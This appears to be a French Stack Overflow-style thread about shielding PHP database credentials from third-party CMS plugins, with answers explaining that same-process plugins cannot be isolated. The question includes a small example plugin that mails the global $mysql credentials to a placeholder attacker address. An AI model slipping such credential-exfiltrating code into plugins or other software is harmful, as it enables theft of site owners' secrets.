2012-05-01 8 views
2

J'ai une question qui me trotte dans la tête depuis longtemps. Je suis sur un projet CMS et je ne sais vraiment pas comment faire: Je veux que ce cms soit modulable en utilisant un système de plugin, rien de difficile jusqu'à maintenant. Eh bien, j'ai maintenant cette question comment puis-je protéger une variable/constante comme mot de passe mysql de l'utilisateur admininstrator? Par exemple, dans le fichier settings.php j'aiProtéger les variables contre le vol en php

$mysql = array("user" => "admin"...); 

Comment puis-je faire une classe de ne pas le lire? Une classe simple (plug-in) pourrait faire

class myplugin extends plugin_container { 
function badfunction() { 
mail("my bad address", "data stolen", $GLOBALS["mysql"]); 
} 

Un plug-in simple, de cette façon, peut voler données sensibles de l'utilisateur. Comment puis-je réparer cela ?

+4

Vous ne pouvez pas, et il est inutile d'essayer de trouver une solution * technique * à cela. Si vous faites confiance au plug-code pour l'exécuter dans votre application, il a forcément accès à l'environnement actuel. Vous devriez passer en revue le code de tiers pour vous assurer qu'il n'essaie pas de voler des informations d'identification ou de compromettre autrement votre serveur. – meagar

Répondre

2

Vous ne pouvez pas vraiment faire cela en PHP. Vous pouvez placer la variable dans un objet, la rendre privée, mais en utilisant Reflection, d'autres codes peuvent l'obtenir aussi. Enfer, même si cela ne pouvait pas, il y a encore des façons d'obtenir des internes de l'objet quand vous ne devriez pas, comme var_dump, debug_zval_dump, et plus encore.

Je suggère soit:

  • jeter le mot de passe après la connexion à la base de données (et les modules de charge après vous connecter)
  • magasin un autre endroit que la mémoire (un fichier de configuration), mais cela ne résout rien, puisque le plugin peut toujours accéder à ce fichier de configuration
  • abandonner et dire "modules sont approuvés" - c'est probablement ce que tous les CMS font
  • une méthode plus étrange - modules sandbox, exécutez le comme s processus de compte séparée avec abandonné les privilèges unix, virtualiser les ... Je suppose que tout cela n'est pas utile dans la pratique

En général, lorsque votre code fonctionne dans un contexte (comme dans un script PHP) et que vous souhaitez autoriser certains modules ou plug-in pour fonctionner dans le même contexte, il n'y a aucun moyen de cacher quoi que ce soit. Le plugin aura accès à la même mémoire (toutes les variables), à toutes les ressources ouvertes (connexions à la base de données) et sera fondamentalement indiscernable de tout autre code dans ce contexte. La même chose s'applique à beaucoup d'autres contextes, par ex. un processus natif s'exécutant dans un système d'exploitation. Bien sûr, vous pouvez rendre «plus difficile» d'obtenir une variable ou une ressource, mais vous ne pouvez jamais vous assurer que vous ne pouvez pas y accéder. Sauf si vous exécutez l'autre code dans un contexte différent (autre processus, virtualisation, ...).

+0

Ensuite, après la chute, je n'aurais pas de mots de passe, oui, mais j'ai encore (par exemple) le lien mysql qui doit être activé pour les plugins aussi. Existe-t-il un moyen de cacher ce lien à coup sûr? Je pensais à quelque chose comme une classe qui comprend où sa propre fonction a été appelée ou quelque chose comme ça – Kei

+0

J'ai mis à jour mon message pour y répondre. – kuba

+0

Merci, c'était vraiment utile (plus d'1 an passé à penser en une seconde, au moins je suis maintenant plus calme.). – Kei

3

Vous ne pouvez pas ... Les plugins peuvent exécuter du code et vous ne pouvez pas contrôler ce code.

Vous pouvez toutefois approuver un par un le plugin, pour éviter les problèmes potentiels.

1

Bien que vous pouvez essayer de modifier la portée de mysql $ à une portée locale - obtenir les données en appelant une fonction comme celle-ci: fonction mySafeBox() { retour mysql $; } maintenant, le code du plugin ne pourra pas y accéder à partir de $ _GLOBALS, mais cela ne sert à rien ... puisque vous comptez sur le plugin en l'utilisant ... de cette façon, vous ne serez pas jamais trouver une bonne 'solution' à ce problème, qui n'a jamais existé

0

PHP n'offre aucune facilité pour les frontières de sécurité internes. La plupart des langues sont comme ça; une exception serait Java.Donc, si vous voulez construire une frontière de confiance dans un script PHP, vous devez le faire via des mécanismes de séparation de privilèges au niveau OS: générer un processus s'exécutant sous un principal utilisateur séparé avec des privilèges plus bas, et utiliser un canal pour communiquer entre cela et l'application principale de confiance. Cela nécessiterait une charge de reprise architecturale qui ne rentre pas dans le modèle d'invocation PHP habituel.

Questions connexes